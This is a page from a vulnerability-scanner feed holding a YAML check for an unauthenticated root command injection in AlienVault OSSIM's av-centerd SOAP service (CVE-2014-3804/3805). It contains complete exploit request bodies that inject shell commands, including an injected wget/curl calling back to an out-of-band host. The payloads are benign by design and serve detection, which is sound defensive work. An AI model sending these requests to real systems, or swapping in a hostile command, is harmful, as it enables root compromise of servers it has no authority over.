AlienVault OSSIM — 1 vulnerability check

noctis ships 1 vulnerability check for AlienVault OSSIM, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AlienVault OSSIM av-centerd SOAP Unauthenticated Root Command Injection

CVECVE-2014-3804, CVE-2014-3805
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/alienvault-ossim/ossim-av-centerd-soap-rce.yaml

Detects the unauthenticated root OS command injection in the av-centerd SOAP service of AlienVault OSSIM <= 4.6.1 (AV/CC/Util update_system_info_debian_package). Confirmation is keyed on benign per-run proofs: a shell-computed sum (expr) printed between two markers in the SOAP reply, or an injected wget/curl fetching a per-run OOB URL whose token only a shell can rebuild. Fixed in OSSIM 4.7.0.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /av-centerd with a crafted body
  3. Checks soap_resp.body for NOCTIS → finding QoD 97: AlienVault OSSIM av-centerd root command injection confirmed via POST /av-centerd (AV/CC/Util#update_system_info_debian_package, c-gensym11…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST /av-centerd with a crafted body
  6. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: AlienVault OSSIM av-centerd root command injection confirmed: a wget/curl injected into POST /av-centerd (AV/CC/Util#update_system_info_deb…

References:

Feed source — tests/vulnerabilities/alienvault-ossim/ossim-av-centerd-soap-rce.yaml
# AlienVault OSSIM av-centerd — unauthenticated root command injection over SOAP
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_ossim_67999.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105048, GPL-2.0-only), "AlienVault OSSIM Multiple
# RCE Vulnerabilities" (BID 67999), which tracks CVE-2014-3804 and CVE-2014-3805.
#
# AlienVault OSSIM <= 4.6.1 runs av-centerd, a SOAP::Lite service (TCP 40007, SSL)
# that runs as root and requires no authentication. Its AV::CC::Util methods paste
# SOAP arguments into shell command lines (Perl backticks). ZDI-14-202 /
# Metasploit `alienvault_centerd_soap_exec`: update_system_info_debian_package,
# fifth argument (c-gensym11). Fixed in OSSIM 4.7.0.
#
# The NASL POSTs the update_system_info_debian_package SOAP call to /av-centerd
# with `;id` in c-gensym11 and matches `uid=N...gid=N` in the reply. This feed
# sends the same request (same envelope, SOAPAction and argument), with only the
# command changed:
#
#   1. In-band (QoD 97): `;echo NOCTIS;expr <a> + <b>;echo SITCON` (a, b = per-run
#      random 6-digit ints). Only a shell prints the sum, which never appears in
#      the request, between the two markers; a SOAP fault or error page that
#      reflects the argument cannot produce it. No `$`, `|`, `<`, `>` or backtick
#      in the payload (av-centerd blacklists those in some arguments).
#   2. Blind OOB (QoD 97, only when OOB is configured): `;wget ... ;curl ...` of a
#      per-run OOB URL whose token is split by an empty '' pair, so only a shell
#      rebuilds the callback path (a proxy/IDS fetching URLs seen in the request
#      hits a wrong path). Output goes to /dev/null.
#
# Beyond the NASL:
#   - `id` is replaced by an inert arithmetic echo whose result is not in the
#     request (the NASL's uid= regex also matches any page that happens to list
#     user ids).
#   - The NASL needs the command output in the SOAP reply. A build or method that
#     runs the command without returning its output is missed by the NASL; the
#     OOB branch confirms it blind.
#   - The NASL hardcodes port 40007 and needs a prior OSSIM web-UI detection
#     (get_app_port). The feed probes /av-centerd on every http/https port found,
#     so it also finds av-centerd on a non-default port or behind a proxy, and
#     needs no web-UI fingerprint.
uid: 20d3a157-0a9a-4684-982d-190e99776ed8
name: "AlienVault OSSIM av-centerd SOAP Unauthenticated Root Command Injection"
description: |
  Detects the unauthenticated root OS command injection in the av-centerd SOAP service
  of AlienVault OSSIM <= 4.6.1 (AV/CC/Util update_system_info_debian_package).
  Confirmation is keyed on benign per-run proofs: a shell-computed sum (expr) printed
  between two markers in the SOAP reply, or an injected wget/curl fetching a per-run OOB
  URL whose token only a shell can rebuild. Fixed in OSSIM 4.7.0.
cves: [CVE-2014-3804, CVE-2014-3805]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [alienvault, ossim, av-centerd, soap, command-injection, rce, root, oob, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-3804"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-3805"
  - "https://www.zerodayinitiative.com/advisories/ZDI-14-202/"
  - "https://www.exploit-db.com/exploits/33865"
  - "https://www.rapid7.com/db/modules/exploit/linux/ids/alienvault_centerd_soap_exec/"
  - "OpenVAS/Greenbone NASL 2014/gb_ossim_67999.nasl (GPL-2.0-only)"

steps:
  # Per-run operands; the shell prints NOCTIS\n<a+b>\nSITCON.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: "" + (a + b) }
    store_as: ov

  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init-soap-resp
    action: set_var
    var_name: soap_resp
    var_value: {status: 0, body: null}

  # ── 1. In-band: the NASL request, command = echo/expr/echo ───────────────
  - id: inject-inband
    action: http_request
    method: POST
    path: "/av-centerd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      SOAPAction: "\"AV/CC/Util#update_system_info_debian_package\""
      Content-Type: "text/xml; charset=UTF-8"
    body: "<soap:Envelope soap:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soapenc='http://schemas.xmlsoap.org/soap/encoding/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'><soap:Body><update_system_info_debian_package xmlns='AV/CC/Util'><c-gensym3 xsi:type='xsd:string'>NOCTIS</c-gensym3><c-gensym5 xsi:type='xsd:string'>NOCTIS</c-gensym5><c-gensym7 xsi:type='xsd:string'>NOCTIS</c-gensym7><c-gensym9 xsi:type='xsd:string'>NOCTIS</c-gensym9><c-gensym11 xsi:type='xsd:string'>;echo NOCTIS;expr {{ov.a}} + {{ov.b}};echo SITCON</c-gensym11></update_system_info_debian_package></soap:Body></soap:Envelope>"
    store_as: soap_resp

  # The sum sits between the two markers, separated only by whitespace (raw
  # newlines, or &#10;/&#xa; entities if the SOAP serializer escapes them).
  - id: confirm-inband
    action: match
    source: soap_resp.body
    pattern: "NOCTIS"
    condition: "type_of(soap_resp.body) == \"string\" && ereg(\"NOCTIS(\\\\s|&#(10|13|x[aAdD]);)+\" + ov.sum + \"(\\\\s|&#(10|13|x[aAdD]);)+SITCON\", soap_resp.body)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "AlienVault OSSIM av-centerd root command injection confirmed via POST /av-centerd (AV/CC/Util#update_system_info_debian_package, c-gensym11): a shell computed expr {{ov.a}} + {{ov.b}} = {{ov.sum}} between the NOCTIS/SITCON markers in the SOAP reply (HTTP {{soap_resp.status}})"
      stop: true

  # ── 2. Blind OOB: wget + curl of a ''-split per-run URL ──────────────────
  # Skipped when /av-centerd is absent (404) or nothing answered: an ordinary
  # web server gets one request instead of two plus a 20 s callback wait.
  - id: split-oob-token
    action: script
    condition: "oob_enabled && soap_resp.status != 404 && soap_resp.status != 0"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: http_request
    method: POST
    path: "/av-centerd"
    port: "{{port}}"
    condition: "oob_enabled && soap_resp.status != 404 && soap_resp.status != 0"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      SOAPAction: "\"AV/CC/Util#update_system_info_debian_package\""
      Content-Type: "text/xml; charset=UTF-8"
    body: "<soap:Envelope soap:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soapenc='http://schemas.xmlsoap.org/soap/encoding/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'><soap:Body><update_system_info_debian_package xmlns='AV/CC/Util'><c-gensym3 xsi:type='xsd:string'>NOCTIS</c-gensym3><c-gensym5 xsi:type='xsd:string'>NOCTIS</c-gensym5><c-gensym7 xsi:type='xsd:string'>NOCTIS</c-gensym7><c-gensym9 xsi:type='xsd:string'>NOCTIS</c-gensym9><c-gensym11 xsi:type='xsd:string'>;wget -q -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}''{{oobsplit.b}};curl -s -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}''{{oobsplit.b}}</c-gensym11></update_system_info_debian_package></soap:Body></soap:Envelope>"
    store_as: oob_resp

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && soap_resp.status != 404 && soap_resp.status != 0"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "AlienVault OSSIM av-centerd root command injection confirmed: a wget/curl injected into POST /av-centerd (AV/CC/Util#update_system_info_debian_package, c-gensym11) fetched the per-run OOB URL, whose token only a shell could rebuild from its ''-split form (HTTP callback received)"
      stop: true

View these feeds on GitHub